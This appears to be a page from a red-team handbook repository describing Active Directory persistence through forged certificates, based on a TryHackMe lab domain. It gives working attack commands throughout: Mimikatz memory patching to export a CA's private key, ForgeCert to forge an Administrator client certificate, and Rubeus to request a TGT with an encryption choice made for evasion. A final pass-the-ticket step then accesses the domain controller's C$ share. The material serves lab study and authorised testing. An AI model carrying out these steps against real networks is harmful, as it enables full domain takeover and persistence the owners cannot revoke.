handbook/tools/5.Machine/3.Active-Directory/General/Exploitation/6.Persistence-AD/3.Persistence-through-Certificates.md

103 lines
6.6 KiB
Markdown
Raw Normal View History

2024-08-30 23:07:22 +00:00
==**This technique is incredibly invasive and hard to remove. Even if you have signoff on your red team exercise to perform these techniques, you must take the utmost caution when performing these techniques. In real-world scenarios, the exploitation of most of these techniques would result in a full domain rebuild.**==
## General
Persistence through certificates refers to a method of maintaining access to a compromised network by using forged or stolen digital certificates. All we need is a valid certificate that can be used for Client Authentication. This will allow us to use the certificate to request a TGT. The beauty of this? We can continue requesting TGTs no matter how many rotations they do on the account we are attacking.
Digital certificates are used to authenticate the identity of a user or device, and they are typically used in secure communication protocols such as HTTPS, SSL, and TLS.
An attacker can use a forged or stolen digital certificate to authenticate themselves as a trusted user or device, allowing them to gain access to network resources and maintain a persistent presence on the network. They can also use a forged certificate to establish a man-in-the-middle (MitM) attack, allowing them to intercept and manipulate network traffic.
Depending on our access, we can take it another step further. We could simply steal the private key of the root CA's certificate to generate our own certificates whenever we feel like it. Even worse, since these certificates were never issued by the CA, the blue team has no ability to revoke them. This would be even worse for the blue team since it would mean a rotation of the CA, meaning all issued certificates would have to be revoked by the blue team to kick us out.
## Commands
## Extracting the Private Key
The private key of the CA is stored on the CA server itself. If the private key is not protected through hardware-based protection methods such as an Hardware Security Module (HSM), which is often the case for organisations that just use Active Directory Certificate Services (AD CS) for internal purposes, it is protected by the machine Data Protection API (DPAPI). This means we can use tools such as Mimikatz and SharpDPAPI to extract the CA certificate and thus the private key from the CA.
- It's suggester to create a new directory before launching Mimikatz to get all the exported elements on the same place without any others files
Launch Mimikatz & find CA private Keys
```
mimikatz.exe
mimikatz # crypto::certificates /systemstore:local_machine
```
We can also note that some of these certificates were set not to allow us to export the key. Without this private key, we would not be able to generate new certificates. Luckily, Mimikatz allows us to patch memory to make these keys exportable
Path Memory (Restoration)
```
mimikatz # privilege::debug
mimikatz # crypto::capi
mimikatz # crypto::cng
```
Export Private Keys
```
mimikatz # crypto::certificates /systemstore:local_machine /export
```
The exported certificates will be stored in both PFX and DER format to disk (Example)
```
05/10/2022 12:12 PM 1,423 local_machine_My_0_.der
05/10/2022 12:12 PM 3,299 local_machine_My_0_.pfx
05/10/2022 12:12 PM 939 local_machine_My_1_za-THMDC-CA.der
05/10/2022 12:12 PM 2,685 local_machine_My_1_za-THMDC-CA.pfx
05/10/2022 12:12 PM 1,534 local_machine_My_2_THMDC.za.tryhackme.loc.der
05/10/2022 12:12 PM 3,380 local_machine_My_2_THMDC.za.tryhackme.loc.pfx
05/10/2022 12:12 PM 1,465 local_machine_My_3_.der
05/10/2022 12:12 PM 3,321 local_machine_My_3_.pfx
```
The `za-THMDC-CA.pfx` certificate is the one we are particularly interested in. In order to export the private key, a password must be used to encrypt the certificate. By default, Mimikatz assigns the password of `mimikatz`.
Download the Certificate on your attacking machine and follow the next step if desired (Copy it to other low user priv when you desire to upgrade your permission following the next steps)
## Generating our own Certificates
Now that we have the private key and root CA certificate, we can use the SpectorOps [ForgeCert](https://github.com/GhostPack/ForgeCert) tool to forge a Client Authenticate certificate for any user we want
Forge a new Certificate (ForgeCert)
```
ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
```
- Parameters explained:
- **CaCertPath - The path to our exported CA certificate.**
- **CaCertPassword** - The password used to encrypt the certificate. By default, Mimikatz assigns the password of `mimikatz`.
- **Subject** - The subject or common name of the certificate. This does not really matter in the context of what we will be using the certificate for.
- **SubjectAltName** - This is the User Principal Name (UPN) of the account we want to impersonate with this certificate. It has to be a legitimate user.
- **NewCertPath** - The path to where ForgeCert will store the generated certificate.
- **NewCertPassword** - Since the certificate will require the private key exported for authentication purposes, we must set a new password used to encrypt it.
Generate TGT from the Certificate ([Rubeus](https://github.com/GhostPack/Rubeus))
```
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain:za.tryhackme.loc /dc:
# Example
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:10.200.x.101
```
- Parameters explained:
- **/user** - This specifies the user that we will impersonate and has to match the UPN for the certificate we generated
- **/enctype** -This specifies the encryption type for the ticket. Setting this is important for evasion, since the default encryption algorithm is weak, which would result in an overpass-the-hash alert
- **/certificate** - Path to the certificate we have generated
- **/password** - The password for our certificate file
- **/outfile** - The file where our TGT will be output to
- **/domain** - The FQDN of the domain we are currently attacking
- **/dc** - The IP of the domain controller which we are requesting the TGT from. Usually, it is best to select a DC that has a CA service running
TGT = administrator.kirbi
Use Mimikatz to load the TGT and authenticate to THMDC
```
mimikatz.exe
mimikatz # kerberos::ptt administrator.kirbi
exit
dir \\DC.DOMAIN\c$\
```